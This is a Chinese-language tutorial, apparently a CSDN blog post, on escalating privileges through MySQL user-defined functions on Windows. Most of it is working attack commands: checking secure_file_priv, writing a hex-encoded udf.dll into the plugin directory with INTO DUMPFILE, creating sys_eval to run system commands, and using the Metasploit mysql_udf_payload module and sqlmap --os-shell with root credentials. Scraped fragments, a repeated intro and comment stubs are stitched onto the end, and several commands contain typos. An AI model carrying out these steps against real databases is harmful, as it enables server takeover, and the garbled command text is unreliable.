UDF提权
UDF(user defined function),自定义函数,是数据库功能的一种扩展。用户通过自定义函数可以在 MySQL 中方便实现的功能,其添加的新函数都可以在SQL语句中调用,提权原理利用
root高权限创建cmd函数执行系统命令
。
以下以windows操作系统为例进行手工演示提权及自动化工具提权演示
提权所需条件
一、*查看secure_file_priv的值
show variables like '%secure%'
-
secure_file_priv 没有值任意路径可读写
-
secure_file_priv 为NULL禁止读写
-
secure_file_priv 为对于目录,此目录可读写
load_file():读取函数,且可进行网络请求into dumpfile():只能写一行,原样写入 into out_file():多行写入,具有特殊格式转换
二、必须是root权限
三、寻找插件目录(dll文件必须上传到插件目录下)
UDF 的动态链接库文件放到 MySQL 的插件目录下,使用 SQL 语句来查询目录:(若不存在则需要手工创建。)
show variables like '%plugin%';
注意:
MYSQL版本>5.1导入在lib\plugin\目录下,MYSQL<5.1导入到C:\Windows\目录下
四、查找操作系统版本
查看操作系统版本命令,根据版本选取对应的动态链接库
show variables like '%compile%';
注意:
选取动态链接库版本错误则报Can't open shared library 'udf.dll'
提权步骤及方法:
方法一:通过ntfs流进行创建失败,好像已经被禁用。。。留在这里吧。可以进行尝试一下
select 'test' into dumpfile 'D:\\phpStudy\\PHPTurorial\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
方法二
:
可以直接上传文件到插件目录,可以用msf或mysql动态链接库进行上传。
(lib目录下没有plugin需要自己创建)
场景:获取webshell情况下
在msf中动态链接库:
sqlmap中动态链接库:
我这使用msf中的动态链接库,sqlmap下的udf文件是经过编码的,如果直接丢在mysql的plugin目录下是无法加载的,需要用sqlmap/extra/cloak/cloak.py进行解码
上传成功后直接创建函数(msf中有的dll中函数创建有sys_eval)
create funcion sys_eval returns strings soname 'udf.dll'; #创建函数
select * from mysql.func where name='sys_eval'; #查询创建的函数
select sys_eval("whomai"); #执行系统命令
方法三:通过sql语句写入dll文件:
场景:可以进行sql注入具有写入权限的情况
在本地将dll文件转为16进制:
select hex(load_file(本地dll文件路径)) into dumpfile 'C:\\Users\\user\\Desktop\\udf.txt';
#load_file中的内容就是 C:\\Users\\user\\Desktop\\udf_32.dll 的16进制
#写到本地udf.txt文件中
通过以下步骤将udf.txt中的数据写入udf到插件目录
crate table udftemp(data longblob) #创建临时表
insert into udftemp(data) values (0x+udf.txt中的值); 将16进制udf文件写入此表
select data from udftemp into dumpfile "D:\\phpStudy\\PHPTurorial\\MySQL\\lib\\plugin\\new.dll"; #写入dll
create function sys_eval returns string soname 'new.dll' #创建函数
补充:也可以利用工具自动化提权,msf、sqlmap --os-shell
场景:得到数据库账号密码
使用exploit/multi/mysql/mysql_udf_payload模块,设定Rhost、password、username就可以该模块dll包含的函数,
数据库查询函数:
默认创建的函数是sys_exec该函数无回显结果,也可手动创建sys_eval函数。
手动创建sys_eval函数
sqlmap:
场景:得到数据库账号密码、且用户可外连
python2 sqlmap.py -d "mysql://root:root@192.168.142.130:3306/test" --os-shell
python2 sqlmap.py -d "mysql://root:root@192.168.142.130:3306/test" --os-shell
0x01 简介
UDF
(user-defined function)是
MySQL
的一个拓展接口,也可称之为用户自定义函数,它是用来拓展
MySQL
的技术手段,可以说是
数据库
功能的一种扩展,用户通过自定义函数来实现
MySQL
中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像本机函数如ABS()或SOUNDEX()一样方便。
UDF
官方介绍以及其函数定义请参考链接。
当获取到
mysql
的root权限,需要进行权限提升,可以尝试
使用
udf
提权
。
1、条件判断
① ...
MySQL
全版本通杀
提权
神器是一种用于攻击
MySQL
数据库
的
工具
,其主要目的是获取管理员权限并控制整个
数据库
服务器,因此具有非常严重的安全漏洞。此类
工具
往往利用
MySQL
的系统特性,比如用户定义函数(
UDF
),然后
使用
特定的PAYLOAD通过远程代码执行漏洞,最终实现ROOT权限的提升。这些
工具
往往在黑客社区中非常流行,因为它们可以方便地获取高权限,并导致
数据库
服务器的严重安全威胁。
因此,在
使用
MySQL
进行
数据库
开发和管理时,我们需要非常注意安全问题,尤其是网络和远程连接方面的安全。为了提高
数据库
服务器的安全性,我们需要采取一系列措施,如
使用
强密码、限制IP、禁用不必要的功能、定期备份数据、定期审计
数据库
、及时补充安全补丁等等。另外,我们还需要关注
MySQL
社区的动态和安全通告,及时更新和升级软件版本,以保持
数据库
系统的安全性。
总之,
MySQL
全版本通杀
提权
神器是一种非常危险的攻击
工具
,对服务器安全造成极大威胁,我们需要充分认识和了解这些
工具
的作用和原理,并采取适当的措施保证数据安全。
CSDN-Ada助手:
SSL/TLS 协议信息泄露漏洞(CVE-2016-2183)【原理扫描】
CSDN-Ada助手: